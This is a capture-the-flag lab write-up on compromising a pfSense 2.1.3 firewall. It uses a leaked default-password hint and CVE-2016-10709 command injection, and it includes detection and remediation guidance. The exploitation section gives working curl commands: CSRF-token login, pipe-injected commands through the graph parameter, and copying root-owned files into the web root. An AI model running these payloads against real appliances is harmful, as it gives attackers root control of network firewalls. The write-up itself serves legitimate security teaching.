Overview
Sense runs pfSense 2.1.3 on FreeBSD 10.1. The attack surface is limited to
the web management interface on HTTPS (port 443). A plaintext file in the web
root (/system-users.txt) discloses a username with a note to use the
“company default” password, which for pfSense is pfsense. Authenticated
access to the management interface enables exploitation of CVE-2016-10709, a
command injection in the status_rrd_graph_img.php endpoint’s graph
parameter.
The critical detail: pfSense runs its web interface as root. There is no privilege escalation step. Initial exploitation immediately yields full system access. This is by design; pfSense needs root to modify firewall rules, network interfaces, and routing tables. It is also why firewall appliance compromise is among the worst outcomes in network security.
Reconnaissance
I start with a service-version scan:
nmap -sC -sV -oA scans/sense 10.129.15.23
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 80 | HTTP | lighttpd 1.4.35 | Redirects to HTTPS |
| 443 | HTTPS | lighttpd 1.4.35 | pfSense 2.x web interface |
Port 80 issues an HTTP redirect to HTTPS. The SSL certificate is expired and
carries the hostname sense.htb. The login page confirms pfSense. No other
ports are open.
Attack Surface Analysis
Directory discovery
gobuster dir -u https://10.129.15.23 -w /usr/share/seclists/Discovery/Web-Content/common.txt \
-k -t 40 -x txt,php,html
| Path | Notes |
|---|---|
/system-users.txt | Plaintext credentials file |
/changelog.txt | Version and patch history |
/index.php | pfSense login (CSRF-protected) |
/xmlrpc.php | XML-RPC endpoint (requires auth) |
Credential discovery
/system-users.txt contains:
####Support ticket###
Please create the following user
username: Rohit
password: company default
The “company default” password for pfSense is pfsense. This is documented
in pfSense’s own default credentials reference.
/changelog.txt confirms pfSense 2.1.3 with one outstanding security patch
explicitly noted as unapplied.
CVE research
| Attribute | Value |
|---|---|
| CVE | CVE-2016-10709 |
| CVSS v3 | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-78 (OS Command Injection) |
| Root cause | Unsanitised graph parameter passed into shell pipeline |
| Affected | pfSense < 2.3 |
| Fixed in | pfSense 2.3 |
| MITRE ATT&CK | T1059.004 (Unix Shell) |
Vulnerability Analysis
The status_rrd_graph_img.php endpoint accepts a graph parameter that
specifies an RRD graph filename. This value is concatenated into a shell
command that invokes rrdtool. The parameter is not sanitised before
insertion into the pipeline. Using pipe syntax (file|cmd|echo), arbitrary
commands are injected between pipeline stages.
The trailing |echo closes the pipeline cleanly and suppresses rrdtool
errors. The injected command executes in the context of the web server
process, which on pfSense is root.
The vulnerability requires authentication but no special privileges. Any valid pfSense user account is sufficient. Combined with the default password disclosure, this is effectively unauthenticated RCE.
Exploitation
Authentication
pfSense login uses CSRF tokens. The flow requires extracting the token from the login page first:
# Extract CSRF token
TOKEN=$(curl -sk https://10.129.15.23/index.php \
| grep -oP 'csrfMagicToken[^"]*"[^"]*"' \
| head -1 | grep -oP 'sid:[^"]+')
# Authenticate
curl -sk -c cookies.txt -X POST https://10.129.15.23/index.php \
-d "usernamefld=rohit&passwordfld=pfsense&login=Login&__csrf_magic=sid:${TOKEN}"
Command injection via graph parameter
curl -sk -b cookies.txt \
"https://10.129.15.23/status_rrd_graph_img.php?database=queues&graph=queues-hva.rrd|id|echo"
The response includes the output of id:
uid=0(root) gid=0(root) groups=0(wheel)
Root. No privilege escalation needed.
Flag extraction via web root staging
Reverse shells failed; the pfSense appliance blocks outbound connections. The alternative is copying files to the web root and retrieving them via HTTPS:
# User flag
curl -sk -b cookies.txt \
"https://10.129.15.23/status_rrd_graph_img.php?database=queues&graph=queues-hva.rrd|cp+/home/rohit/user.txt+/usr/local/www/flag.txt|echo"
curl -sk https://10.129.15.23/flag.txt
# [redacted]
# Root flag
curl -sk -b cookies.txt \
"https://10.129.15.23/status_rrd_graph_img.php?database=queues&graph=queues-hva.rrd|cp+/root/root.txt+/usr/local/www/flag.txt|echo"
curl -sk https://10.129.15.23/flag.txt
# [redacted]
Post-Exploitation
The RCE runs as root (uid=0). There is no intermediate user shell and no privilege escalation step.
OS: FreeBSD 10.1-RELEASE-p9
User: root (uid=0, gid=0, groups=wheel)
Web root: /usr/local/www/
pfSense version: 2.1.3-RELEASE
In a real engagement, a compromised pfSense appliance provides: full network
topology visibility (all firewall rules, interfaces, routes, VPN
configurations), credential access (user database, VPN pre-shared keys,
RADIUS secrets), and the ability to modify firewall rules to enable lateral
movement. The configuration XML at /diag_backup.php contains all of this.
Defensive Analysis
Detection opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial access | T1078.001 | Authentication logs showing login with default credentials |
| Execution | T1059.004 | Web server logs with pipe characters in graph parameter |
| Exfiltration | T1567 | File creation in web root (/usr/local/www/) by non-web process |
Web server logs: The graph parameter containing pipe characters and OS
commands is a clear indicator. Any request to status_rrd_graph_img.php with
| in the query string should be flagged.
Authentication monitoring: pfSense logs authentication events. Failed and
successful logins from unexpected source IPs should trigger alerts.
Default credential usage can be detected by monitoring for the rohit account
(or any account known to use defaults).
File integrity monitoring: New files appearing in /usr/local/www/ that
were not placed by the package manager indicate post-exploitation activity.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Upgrade pfSense to 2.3 or later (current stable) | Medium | Critical |
| P0 | Remove /system-users.txt from web root | Low | Critical |
| P0 | Change all passwords from defaults immediately | Low | Critical |
| P1 | Restrict management interface access by source IP | Low | High |
| P1 | Purge web root of non-application files | Low | High |
| P2 | Renew or replace the expired TLS certificate | Low | Medium |
| P2 | Enable two-factor authentication for admin access | Medium | Medium |
The deeper issue is that pfSense runs as root by design. Every authenticated vulnerability in the web interface is a root compromise. This makes access control to the management interface the primary security boundary. Restricting it to specific management hosts or a dedicated VLAN is not optional; it is the most important defensive control for any network appliance.
Key Takeaways
-
Network appliances run as root by design. Firewalls, routers, and load balancers need root to manage network interfaces, routing tables, and packet filtering. Any authenticated RCE in the management interface yields full system access. This makes access control to the management plane the primary security control, not patching.
-
Default credentials are still everywhere. The pfSense default password is
pfsense, documented in their own installation guide. Combined with a credential disclosure file in the web root, this box had zero effective authentication. Every deployment checklist must include a forced password change before network exposure. -
When reverse shells fail, stage to the web root. If the target runs a web server and you have write access to the document root, copy files there and retrieve them via HTTP. No outbound connection required. Clean up after yourself by deleting the staged files.
-
Pipe injection differs from semicolon injection. The
graphparameter is interpolated mid-pipeline, so semicolons don’t work. The correct syntax isfile|cmd|echo, which inserts a command between two pipeline stages. Understanding how the injection point sits within the shell command determines which metacharacters work.